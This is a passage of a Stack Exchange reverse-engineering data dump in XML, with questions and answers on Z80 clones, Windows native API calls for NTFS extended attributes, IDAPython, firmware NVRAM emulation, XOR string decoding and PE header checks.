  <row Id="17309" PostTypeId="2" ParentId="17308" CreationDate="2018-01-27T14:49:09.253" Score="1" Body="&lt;p&gt;I am not convinced that mobile phones are a good example here, since the similarities are mostly superficial - i.e., they try to mimic the design, but not the hardware in a way that allows to use the original OS (especially in the case of iOS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, software compatibility has been a driver for some large-scale reverse engineering efforts in the past. One intriguing example is the former east block semiconductor industry. In the 1980s, semiconductor experts from the GDR reverse engineered several common ICs, including the Zilog Z80 processor, in order to produce identical copies such as the &lt;a href=&quot;https://en.wikipedia.org/wiki/U880&quot; rel=&quot;nofollow noreferrer&quot;&gt;U880 processor&lt;/a&gt;. This was done by grinding down the various layers of an original Z80 chip, shooting micro photographs and recreating the layout of the various silicon and metal layers based on the photos. A related story I am unable to confirm claims that the GDR engineers even were able to fix some bugs in the original Z80 silicon that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There were also clones of DEC machines (PDP11, VAX) and IBM S/370 mainframes. Genuine east block computers with a unique design were more rare; one example is the &lt;a href=&quot;https://en.wikipedia.org/wiki/P8000&quot; rel=&quot;nofollow noreferrer&quot;&gt;Z8000-based P8000 Unix system&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reasons for this were obviously manyfold. On the one hand, due to COCOM export restrictions, there was no official way to obtain &quot;high tech&quot; &#xA;products in the Warsaw block. A more important reason for copying existing designs, I think, was the availability of large repositories of software (CP/M for the Z80).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the cost of creating this Z80 clone might be hard to determine nowadays, the time frame is rather well known. The U880 was available in 1980, about four years after the original Z80 came to market. Zilog was founded in 1974 and brought the Z80 to market in July 1976. So, I would assume that in the worst case, the reverse engineering effort took at most about twice the time of the original development (this is assuming the work in the GDR had started right after the availability of the Z80).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would certainly be interesting to trace the history of this reverse engineering effort; however, information on this seems to be hard to find.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-01-27T14:49:09.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17310" PostTypeId="1" AcceptedAnswerId="17311" CreationDate="2018-01-27T16:21:59.190" Score="2" ViewCount="594" Body="&lt;p&gt;I am making a program to set those attributes with C++. With IDA, I find that &lt;code&gt;lxcore.sys&lt;/code&gt; driver uses &lt;code&gt;ZwSetEaFile()&lt;/code&gt; and &lt;code&gt;LxssManager.dll&lt;/code&gt; uses &lt;code&gt;NtSetEaFile()&lt;/code&gt; function to set NTFS extended attributes. Here are the functions mentioned in ntdl.dll (using IDA v7):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MA8sy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MA8sy.png&quot; alt=&quot;SetEaFile_ntdll&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Microsoft documentation of &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-zwseteafile&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZwSetEaFile()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NTSTATUS ZwSetEaFile(&#xA;  _In_  HANDLE           FileHandle,&#xA;  _Out_ PIO_STATUS_BLOCK IoStatusBlock,&#xA;  _In_  PVOID            Buffer,&#xA;  _In_  ULONG            Length&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm not sure which one is appropriate to use? Is there any difference between them using in a user mode software?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-01-29T14:26:35.377" Title="Appropriate function to set NTFS extended attributes: ZwSetEaFile or NtSetEaFile" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17311" PostTypeId="2" ParentId="17310" CreationDate="2018-01-27T18:55:59.567" Score="6" Body="&lt;p&gt;There is no difference at the user mode level. The difference only exists when called from kernel mode in how the function arguments are passed in whether the parameters are guaranteed valid (Zw) or whether they should be verified (Nt). This &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; from Microsoft may shed some more light.&lt;/p&gt;&#xA;" OwnerUserId="14715" LastEditorUserId="14715" LastEditDate="2018-01-27T19:07:37.183" LastActivityDate="2018-01-27T19:07:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17313" PostTypeId="2" ParentId="16233" CreationDate="2018-01-27T20:47:38.733" Score="1" Body="&lt;p&gt;&lt;em&gt;Disclaimer: I'm not going to create a working code example here, and I did not test this on PowerPC for your specific purpose. YMMV&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could think of two ways of doing that. First will be the manual approach by using some IDAPython magicry to manually force all offsets based on &lt;code&gt;r31&lt;/code&gt; to the stack frame structure. Second (which is the one likely used) is using a designated API just for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Get the hidden stack frame structure ID for the function you're running on&lt;/strong&gt;&lt;br/&gt;&#xA;This can easily be done by calling the &lt;code&gt;ida_frame.get_frame&lt;/code&gt; function with any address within the desired function. This function returns an ID used to identify this structure in the IDB.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;go over instruction by instruction and identify all dereferences of &lt;code&gt;r31&lt;/code&gt;&lt;/strong&gt;&lt;br/&gt;&#xA;There are many approaches here. From getting the disassembly string and parsing actual text to operand specific APIs and more. So i'll leave this as the first exercise for the reader.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set those dereferences to dereferencing the stack structure&lt;/strong&gt;&lt;br/&gt;&#xA;This, again, has several APIs to pick from, &lt;code&gt;OffOpEx&lt;/code&gt; is an example. If you need to create new stack variables as you go, there are multiple functions for this as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The second approach would be using one of two APIs designed for the purpose. the two APIs are called &lt;code&gt;idc.define_local_var&lt;/code&gt; and &lt;code&gt;ida_frame.add_regvar&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;define_local_var&lt;/code&gt; is defined as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def define_local_var(start, end, location, name):&#xA;    &quot;&quot;&quot;&#xA;    Create a local variable&#xA;    @param start: start of address range for the local variable&#xA;    @param end: end of address range for the local variable&#xA;    @param location: the variable location in the &quot;[bp+xx]&quot; form where xx is&#xA;                     a number. The location can also be specified as a&#xA;                     register name.&#xA;    @param name: name of the local variable&#xA;    @return: 1-ok, 0-failure&#xA;    @note: For the stack variables the end address is ignored.&#xA;           If there is no function at 'start' then this function.&#xA;           will fail.&#xA;    &quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And will do all the work of locating the stack structure and defining new members if needed. This is probably the first thing you want to play with, however you'll still need to iterate over all the instructions and identify &lt;code&gt;r31&lt;/code&gt; offsets manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;add_regvar&lt;/code&gt; function is called by &lt;code&gt;define_local_var&lt;/code&gt; and is responsible to applying the variable created by &lt;code&gt;define_local_var&lt;/code&gt; to instructions. You can read more about it &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/group__regvar.html#ga5f77d2c231f8faeb5939be2bc8e2a298&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-01-27T20:47:38.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17317" PostTypeId="1" AcceptedAnswerId="17324" CreationDate="2018-01-28T19:36:46.280" Score="0" ViewCount="83" Body="&lt;p&gt;I am doing a project for school on Emulation of device using its firmware. Using firmadyne, I can start up the smart device unfortunately because it is not a real device, information fields like Serial number, MAC address, and other device specific information is not present.  I have a shell, and I can look around a physical exemplar of the device but I can't find any place where that is stored. I am limited on what I can do (via busybox)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the device specific information of smart devices usually kept?  I am assuming it is burned-in somewhere? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="17076" LastActivityDate="2018-01-29T09:28:33.673" Title="Where Is device specific information kept on smart devices" Tags="|binary-analysis|firmware|emulation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17320" PostTypeId="1" AcceptedAnswerId="17339" CreationDate="2018-01-28T22:21:25.160" Score="0" ViewCount="85" Body="&lt;p&gt;I am working with some malware samples and I need to determine if one of them is primarily composed of 32-bit Intel Code. This would seem easy as I can just check the metadata describing it as a 32-bit executable. However, my instructor said that does not suffice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I determine if this binary is primarily 32-bit Intel code without involving simply the metadata. I have a suite of tools at my disposal such as IDA-Pro, PEView, etc etc.&lt;/p&gt;&#xA;" OwnerUserId="22947" LastActivityDate="2018-01-30T18:58:12.160" Title="Composition of a Binary File trouble" Tags="|ida|x86|malware|" AnswerCount="2" CommentCount="3" ClosedDate="2018-01-30T18:58:33.230" ContentLicense="CC BY-SA 3.0" />
  <row Id="17321" PostTypeId="2" ParentId="17310" CreationDate="2018-01-28T22:46:58.790" Score="1" Body="&lt;p&gt;the op appears to have deleted some questions he posed as comments and accepted an answer&lt;br&gt;&#xA;so this answer might appear to be not relevant to the present context   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;op commented if one could call the api in user_mode without loading ntdll.dll&lt;br&gt;&#xA;or calling either of the two variants of the api viz NtSetEaFile or ZwSetEaFile&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this answer shows how that can be done&lt;br&gt;&#xA;the syscall number belongs to win7 sp1 32 bit&lt;br&gt;&#xA;on compiling and executing a 0 byte text file will be created&lt;br&gt;&#xA;whose extended info can be checked with &lt;strong&gt;ladislav zezulas filetest&lt;/strong&gt; utility&#xA;or by checking the ntfs usn change records   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;winternl.h&amp;gt;&#xA;typedef struct _MYEABUFF {&#xA;    ULONG neoff; UCHAR flg; UCHAR nlen; USHORT vlen; char eaname[0x100];&#xA;}MyEaBuff, *PMyEaBuff;&#xA;int main() {&#xA;    HANDLE fhand = CreateFileA(&quot;testec.txt&quot;, GENERIC_READ | GENERIC_WRITE,&#xA;    FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);&#xA;    const char *Eaname=&quot;EATEST&quot;;const char *EaValue=&quot;This is the text For EATEST&quot;;&#xA;    UCHAR nlen=(UCHAR)strlen(Eaname);USHORT EaValueLen=(USHORT)strlen(EaValue);&#xA;    IO_STATUS_BLOCK iosb ={0}; MyEaBuff Buff ={0};&#xA;    Buff.neoff = 0; Buff.flg = 0; Buff.nlen = nlen; Buff.vlen = EaValueLen;&#xA;    strcpy_s(Buff.eaname, nlen + 1, Eaname);&#xA;    strcpy_s(Buff.eaname + nlen + 1, EaValueLen + 1, EaValue);&#xA;    PVOID iosb_ptr = &amp;amp;iosb; PVOID Buff_ptr = &amp;amp;Buff;&#xA;    __asm {&#xA;        push 108h&#xA;        push Buff_ptr&#xA;        push iosb_ptr&#xA;        push fhand&#xA;        call ntseaf&#xA;        jmp exit&#xA;    }&#xA;ntseaf:&#xA;    __asm {&#xA;        mov eax, 142h&#xA;        mov edx, 7ffe0300h&#xA;        call dword ptr ds : [edx]&#xA;        retn 4&#xA;    }&#xA;exit:&#xA;    return 0;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result of the bin checked with cjdump.exe (old msdn mag code)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\testea&amp;gt;cl /nologo testea.cpp&#xA;testea.cpp&#xA;&#xA;C:\testea&amp;gt;testea.exe&#xA;&#xA;C:\testea&amp;gt;CJDump.exe | grep testec.txt&#xA;Usn(0x0000000129433C28) Reason(0x00000100) testec.txt &amp;lt; USN_REASON_FILE_CREATE&#xA;Usn(0x0000000129433C78) Reason(0x00000500) testec.txt &amp;lt; USN_REASON_EA_CHANGE|0x100&#xA;Usn(0x0000000129433CC8) Reason(0x80000500) testec.txt &amp;lt; USN_REASON_CLOSE|0x500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-01-29T14:26:35.377" LastActivityDate="2018-01-29T14:26:35.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17324" PostTypeId="2" ParentId="17317" CreationDate="2018-01-29T09:28:33.673" Score="2" Body="&lt;p&gt;These information pieces are generally stored in the NVRAM (Non-Volatile RAM), which is stored in one of the flash partition. To emulate a device successfully, you generally have to fill up the NVRAM with valid settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firmadyne contains an &lt;a href=&quot;https://github.com/firmadyne/libnvram&quot; rel=&quot;nofollow noreferrer&quot;&gt;NVRAM emulation&lt;/a&gt; and you can find more information about the problem itself in this &lt;a href=&quot;http://www.devttys0.com/2012/03/emulating-nvram-in-qemu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remember well, the NVRAM emulation could log out the requested settings, and you have to specify these values in the NVRAM storage directory.&lt;/p&gt;&#xA;" OwnerUserId="12325" LastActivityDate="2018-01-29T09:28:33.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17326" PostTypeId="1" AcceptedAnswerId="17354" CreationDate="2018-01-29T14:55:50.837" Score="0" ViewCount="291" Body="&lt;p&gt;As shown in the picture below, &lt;code&gt;IDA PRO (6.8)&lt;/code&gt; knows to recognize that &lt;code&gt;al&lt;/code&gt; and &lt;code&gt;eax&lt;/code&gt; are referencing the same register. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PpALs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpALs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given two operands in &lt;code&gt;IDA Python&lt;/code&gt; (i.e. by &lt;code&gt;idc.GetOpnd(..)&lt;/code&gt;), how can I find  that they are referencing the same register? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2018-01-31T15:27:26.143" Title="IDA Python recognize same register" Tags="|ida|disassembly|disassemblers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17327" PostTypeId="1" AcceptedAnswerId="17352" CreationDate="2018-01-29T16:19:58.833" Score="0" ViewCount="133" Body="&lt;p&gt;Where would I start when needing to configure a command and control server for a RAT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that my dynamic analysis can be more complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I have been to the topics section of this stack exchange. &quot;tools commonly used for reverse engineering hardware or software&quot;, this post would comply with that particular topic. It is definitely answerable, and not broad. &#xA;Also, this question is relevant (in compliance with the relevance guidelines) as many people on this exchange are new to malware analysis. &lt;/p&gt;&#xA;" OwnerUserId="22947" LastEditorUserId="22947" LastEditDate="2018-02-02T14:12:16.857" LastActivityDate="2018-02-02T14:12:16.857" Title="Configuring a C&amp;C for a RAT" Tags="|malware|dynamic-analysis|development|" AnswerCount="1" CommentCount="2" ClosedDate="2018-01-31T14:58:13.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="17328" PostTypeId="2" ParentId="17320" CreationDate="2018-01-29T19:21:50.227" Score="0" Body="&lt;p&gt;A simple way would be to open up the executable in IDA and look at the navigation bar. If most of it is blue or brownish red, rather than gray or brownish yellow then the executable contains mostly code.&lt;/p&gt;&#xA;" OwnerUserId="266" LastActivityDate="2018-01-29T19:21:50.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17330" PostTypeId="2" ParentId="16508" CreationDate="2018-01-29T23:13:49.573" Score="3" Body="&lt;p&gt;This works very well cross-platform. Make sure to install these python packages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo pip install pyelftools&#xA;sudo pip install yara-python&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this will export all dlls from &lt;code&gt;libmonodroid_bundle_app.so&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from elftools.elf.elffile import ELFFile&#xA;from zipfile import ZipFile&#xA;from cStringIO import StringIO&#xA;import gzip, string&#xA;&#xA;data = open('libmonodroid_bundle_app.so').read()&#xA;f = StringIO(data)&#xA;elffile = ELFFile(f)&#xA;section = elffile.get_section_by_name('.dynsym')&#xA;&#xA;for symbol in section.iter_symbols():&#xA;  if symbol['st_shndx'] != 'SHN_UNDEF' and symbol.name.startswith('assembly_data_'):&#xA;    print symbol.name&#xA;    dll_data = data[symbol['st_value']:symbol['st_value']+symbol['st_size']]&#xA;    dll_data = gzip.GzipFile(fileobj=StringIO(dll_data)).read()&#xA;    outfile = open(symbol.name[14:].replace('_dll', '.dll'), 'w')&#xA;    outfile.write(dll_data)&#xA;    outfile.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adapted from &lt;a href=&quot;https://github.com/maldroid/maldrolyzer/blob/master/plugins/z3core.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/maldroid/maldrolyzer/blob/master/plugins/z3core.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12521" LastActivityDate="2018-01-29T23:13:49.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17331" PostTypeId="2" ParentId="17286" CreationDate="2018-01-30T02:54:06.670" Score="4" Body="&lt;p&gt;&lt;em&gt;First, I have to say several things don't quite add up in the decompilation, and I often find it easier to understand disassembly than decompilation&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with the function doing most of the work - &lt;code&gt;sub_3B25D0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this function is somewhat long and has a little bit of quote-unquote &lt;em&gt;scary math&lt;/em&gt; in it, our first impression may be that this function does all or most of the encryption heavy lifting. However after further investigation (and i won't dwell into this here) you can clearly see indications of an &lt;em&gt;compression algorithm&lt;/em&gt;. There are multiple key elements revealing that, and you can find a full explanation of how to differentiate compression from encryption in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13475/how-can-i-determine-if-a-piece-of-code-is-an-encryption-algorithm/13476#13476&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll however go over some of the key indications as they appear in the code snippet you provided.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There are no neat iteration of all characters in the string, by order. Nearly all encryption algorithms, either &lt;a href=&quot;https://en.wikipedia.org/wiki/Block_cipher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Block&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Stream_cipher&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stream&lt;/a&gt;  iterate over all characters of the input string. Blocks will iterate over block-sized chunks of the string.&lt;/li&gt;&#xA;&lt;li&gt;Not enough substitutions over either input message or stream/state.&lt;/li&gt;&#xA;&lt;li&gt;Plenty of partial &lt;code&gt;memcpy&lt;/code&gt;/&lt;code&gt;memmove&lt;/code&gt;s, indicating this function composes as string out of different sub-sequences of input string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Therefore, lets rename &lt;code&gt;sub_3B1D0C&lt;/code&gt; to &lt;code&gt;NI_BlockDecompression&lt;/code&gt;. You may use your own initials. I'm assuming it's a decompression and not a compression function merely because you called the flow &quot;Decrypt&quot;, impling input is intangible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, going bottom to top, we can briefly review &lt;code&gt;sub_3B2580&lt;/code&gt; and &lt;code&gt;sub_3B25D0&lt;/code&gt; and see those functions just run a couple of simple sanity checks on input but basically don't do anything interesting. after a brief peek it looks like there's some kind of protection against running the &lt;code&gt;NI_BlockDecompression&lt;/code&gt; function more than once on the same string, not sure though. Let's just skip them and get to the second interesting function - &lt;code&gt;getDecryptStr&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the multiple calls to &lt;code&gt;sub_3B25D0&lt;/code&gt; quite odd, and I suggest you look further into what's going on there. The &lt;code&gt;EncodeUtil::getDecryptStr&lt;/code&gt; function just seem to xor bytes with the hardcoded &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/XOR_cipher&quot; rel=&quot;nofollow noreferrer&quot;&gt;XOR encryption&lt;/a&gt;&quot; key at &lt;code&gt;byte_41A7DD&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-01-30T02:54:06.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17333" PostTypeId="1" AcceptedAnswerId="17362" CreationDate="2018-01-30T10:36:30.920" Score="-2" ViewCount="86" Body="&lt;p&gt;Is there any sites to get static rules to detect malware files?&#xA;static behavior rules for detecting malware files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16096" LastActivityDate="2018-02-01T12:16:58.177" Title="Malware static rules?" Tags="|malware|static-analysis|" AnswerCount="1" CommentCount="1" ClosedDate="2018-02-04T12:17:16.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="17334" PostTypeId="1" CreationDate="2018-01-30T13:13:43.290" Score="-1" ViewCount="955" Body="&lt;p&gt;When we have many binaries, there is a python base solution for disassemble and extract opcodes from binaries in IDA program.&#xA;Is there any or similar solution to disassemble binaries for Radare2?&lt;/p&gt;&#xA;" OwnerUserId="21812" LastActivityDate="2018-01-30T19:30:13.517" Title="extract opcodes using radare" Tags="|ida|radare2|disassemblers|assembly|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="17336" PostTypeId="2" ParentId="17286" CreationDate="2018-01-30T13:25:44.147" Score="4" Body="&lt;p&gt;All the credit for this this answer should go to the @NirIzr and @Avery3R.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a python script that implements the xoring mentioned by these kind people:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib&#xA;import binascii&#xA;data = &quot;%EB%9Ff%C5%A4q%D0%D9%88%F2M%87%C9Z%92%A6%83%BC%3B%86%8B%2D%8B%EC&quot; #quoted data as is&#xA;unquoted = urllib.unquote(data)&#xA;key = binascii.unhexlify(&quot;0C17DE222CC93743&quot;) # the key&#xA;idx = 0&#xA;res = &quot;&quot;&#xA;for c in unquoted:&#xA;    res += chr(ord(c) ^ ord(key[idx % len(key)]))&#xA;    idx += 1&#xA;print res&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result of running: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;╭─wireshrink@[cenzored] ~/test  &#xA;╰─$ python ./test.py &#xA;爸爸的哥哥叫大伯&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think that you either forgot to encode it back to UTF8 before printing or there is some other issue in your code or default environment that is  related to encoding.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-01-30T13:30:57.027" LastActivityDate="2018-01-30T13:30:57.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17337" PostTypeId="2" ParentId="17110" CreationDate="2018-01-30T15:26:21.787" Score="2" Body="&lt;p&gt;I have managed to debug and find your problems, but it's really is out of scope since your &quot;bytes&quot; of a &quot;64 bit &quot; program does not have &quot;&lt;strong&gt;IMAGE_NT_SIGNATURE&lt;/strong&gt;&quot; (&lt;strong&gt;PE00&lt;/strong&gt;) but rather has &quot;&lt;strong&gt;IMAGE_DOS_SIGNATURE&lt;/strong&gt;&quot; (&lt;strong&gt;MZ&lt;/strong&gt;). &lt;a href=&quot;https://i.stack.imgur.com/NdPCQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/NdPCQ.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were you, I would first find/prepare proper code for running it as SHELL CODE ( by the way, you know that exploits/shells/malware use the same method yes ? ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, your approach is wrong from the &quot;valid bytes of a  &lt;em&gt;64 BIT&lt;/em&gt; program here&quot; to the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shall not post a full solution/answer because that way you will learn nothing.&#xA;Use the following snippet in addition to what I said, and you shall succeed in your &quot;learning purpose&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IMAGE_DOS_HEADER* lpDosHeader = (IMAGE_DOS_HEADER*)lpBaseAddress;&#xA;&#xA;if(lpDosHeader-&amp;gt;e_magic != IMAGE_DOS_SIGNATURE)&#xA;{&#xA;    return 0;&#xA;}&#xA;&#xA;IMAGE_NT_HEADERS* lpNtHeader = (IMAGE_NT_HEADERS*)(lpBaseAddress+lpDosHeader-&amp;gt;e_lfanew);&#xA;&#xA;if(lpNtHeader-&amp;gt;Signature != IMAGE_NT_SIGNATURE)&#xA;{&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE that &quot;&lt;strong&gt;lpBaseAddress&lt;/strong&gt;&quot; is &lt;strong&gt;BYTE*&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More reference: &lt;a href=&quot;https://stackoverflow.com/questions/38161809/generating-shellcode-from-an-exe&quot;&gt;https://stackoverflow.com/questions/38161809/generating-shellcode-from-an-exe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23096" LastActivityDate="2018-01-30T15:26:21.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17338" PostTypeId="1" CreationDate="2018-01-30T18:35:25.490" Score="2" ViewCount="513" Body="&lt;p&gt;I'm trying to revers some kexts on macOS and I can't find a way to achieve the same level of debugging you can do on Windows kernel with IDA and WinDBG. Is there a way to add support for lldb? Or can it be done without lldb? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the VMWare gdb stub, but IDA can't map the memory right.&lt;/p&gt;&#xA;" OwnerUserId="23097" LastActivityDate="2018-01-30T18:35:25.490" Title="IDA Pro macOS kernel debugging and lldb support" Tags="|ida|lldb|kernel|macos|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17339" PostTypeId="2" ParentId="17320" CreationDate="2018-01-30T18:58:12.160" Score="0" Body="&lt;p&gt;what you mean by metadata&lt;br&gt;&#xA;do you mean the details in header that denotes machine &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /headers .\x64\x64dbg.exe | grep -i machine&#xA;            8664 machine (x64)&#xA;&#xA;:\&amp;gt;dumpbin /headers .\x32\x32dbg.exe | grep -i machine&#xA;             14C machine (x86)&#xA;                   32 bit word machine&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you can't use it then can you disassemble the binary&lt;br&gt;&#xA;if yes you can look for x64 register usage&lt;br&gt;&#xA;if you find some registers like rax rbx etc then it is probably 64 bit &#xA;else 32 bit &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /disasm x32\x32dbg.exe | grep -ic &quot;r.x&quot;&#xA;0&#xA;&#xA;:\&amp;gt;dumpbin /disasm x64\x64dbg.exe | grep -ic &quot;r.x&quot;&#xA;801&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can check the reloc section if it has a highlow reloc it is possibly 32 bit&lt;br&gt;&#xA;and a DIR64 reloc indicates a 64 bit exe  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;dumpbin /relocations /nologo x32\x32dbg.exe | grep -A 2 -i rva&#xA;    1000 RVA,       E0 SizeOfBlock&#xA;       1  HIGHLOW            00402A00&#xA;      11  HIGHLOW            00402A10&#xA;--&#xA;    2000 RVA,      148 SizeOfBlock&#xA;       2  HIGHLOW            0040308C&#xA;       8  HIGHLOW            00403090&#xA;--&#xA;    3000 RVA,       C8 SizeOfBlock&#xA;     140  HIGHLOW            00402229&#xA;     144  HIGHLOW            00401000&#xA;--&#xA;    5000 RVA,       18 SizeOfBlock&#xA;       0  HIGHLOW            00403438&#xA;       4  HIGHLOW            0040346C&#xA;&#xA;:\&amp;gt;dumpbin /relocations /nologo x64\x64dbg.exe | grep -A 2 -i rva&#xA;    3000 